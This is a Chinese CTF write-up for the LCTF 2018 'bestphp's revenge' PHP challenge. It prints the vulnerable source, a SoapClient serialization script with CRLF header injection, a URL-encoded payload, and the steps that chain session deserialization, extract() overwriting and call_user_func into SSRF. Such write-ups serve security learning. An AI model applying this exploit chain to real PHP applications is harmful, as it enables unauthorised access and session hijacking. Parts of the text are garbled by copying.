bestphp‘s revenge

devtools/2024/12/23 1:09:51/

bestphp’s revenge

知识点

php session反序列化

解题

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);  //参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset($_session)将数组的内部指针指向第一个单元,返回第一个session的值
call_user_func($b, $a);
?>
array(0) { }//flag.php  (扫目录扫到的)
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!

构造:

<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车'uri' => "http://127.0.0.1/"));$se = serialize($b);
echo "|" . urlencode($se);

得到:

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

[外链图片转存中…(img-MVOphdGZ-1734773759164)]

将其模式换为php_serialize,然后序列化传入name

第二步,改成默认php,然后触发soapclient中的__call魔术方法传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func( b , b, b,a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

用到了变量覆盖把b改为了call_user_func,这样数组第一个就是类名,第二个是welcome方法不存在调用_call,然后传入name=SoapClient,这样

a = a r r a y ( r e s e t ( a = array(reset( a=array(reset(_SESSION), ‘welcome_to_the_lctf2018’);前面就是SoapClient值了

[外链图片转存中…(img-152LvvGX-1734773759165)]

最后把PHPSESSID换成,我们一开始代码中的123456即可

[外链图片转存中…(img-dFAuCzWq-1734773759166)]


http://www.ppmy.cn/devtools/144535.html

相关文章

远程连接的功能以及种类(sshd)

1.ssh简介 ssh通过创建安全隧道来实现ssh客户端与服务器之间的连接&#xff0c; 它的主要用途是连接远程服务器然后在上面执行指令。 远程连接服务器&#xff1a;分享主机的运算能力 种类&#xff1a;明文传输&#xff1a;Telent RSH等 目前非常少用 加密传输&#xff1a;S…

解决 Ubuntu 20.04 上编译 OpenCV 3.2 时的类型不匹配错误

解决 Ubuntu 20.04 上编译 OpenCV 3.2 时的类型不匹配错误 make[2]: *** [modules/python3/CMakeFiles/opencv_python3.dir/build.make:329&#xff1a;modules/python3/CMakeFiles/opencv_python3.dir/__/src2/cv2.cpp.o] 错误 1 make[1]: *** [CMakeFiles/Makefile2:11856&a…

在M系列芯片的Mac上使用Uniapp开发的依赖安装指南

在M系列芯片的Mac上使用Uniapp开发的依赖安装指南 在基于M系列芯片&#xff08;例如M3、M4&#xff09;的Mac上进行Uniapp开发时&#xff0c;使用esbuild和rollup等依赖包时需要注意处理不同架构的支持。具体问题出现在darwin-arm64&#xff08;ARM架构&#xff09;和darwin-x…

[react]suspend 组件搭配路由组件时fallback不生效

用key即可解决, 为什么,因为suspend只会在首次加载时执行一次fallback <Suspense> – React 中文文档

中阳科技:从量化交易到智能金融的创新实践

量化交易的出现改变了传统金融市场的游戏规则&#xff0c;它通过算法驱动和数据分析实现了自动化、智能化的交易流程。作为这一领域的佼佼者&#xff0c;中阳科技专注于探索量化模型的创新&#xff0c;助力投资者在复杂的市场中获取竞争优势。 量化交易的优势剖析 量化交易依赖…

深入浅出支持向量机(SVM)

1. 引言 支持向量机&#xff08;SVM, Support Vector Machine&#xff09;是一种常见的监督学习算法&#xff0c;广泛应用于分类、回归和异常检测等任务。自1990年代初期由Vapnik等人提出以来&#xff0c;SVM已成为机器学习领域的核心方法之一&#xff0c;尤其在模式识别、文本…

git 怎么删除一个远程分支

在Git中&#xff0c;删除远程分支是一个相对简单的操作。以下是删除远程分支的步骤&#xff1a; 打开命令行工具&#xff1a; 打开你的命令行工具&#xff08;如Terminal、Git Bash、Cmder等&#xff09;。 切换到你的仓库&#xff1a; 使用cd命令切换到你的Git仓库目录。 检…

【Leetcode 每日一题 - 扩展】45. 跳跃游戏 II

问题背景 给定一个长度为 n n n 的 0 0 0 索引 整数数组 n u m s nums nums。初始位置为 n u m s [ 0 ] nums[0] nums[0]。 每个元素 n u m s [ i ] nums[i] nums[i] 表示从索引 i i i 向前跳转的最大长度。换句话说&#xff0c;如果你在 n u m s [ i ] nums[i] nums[i…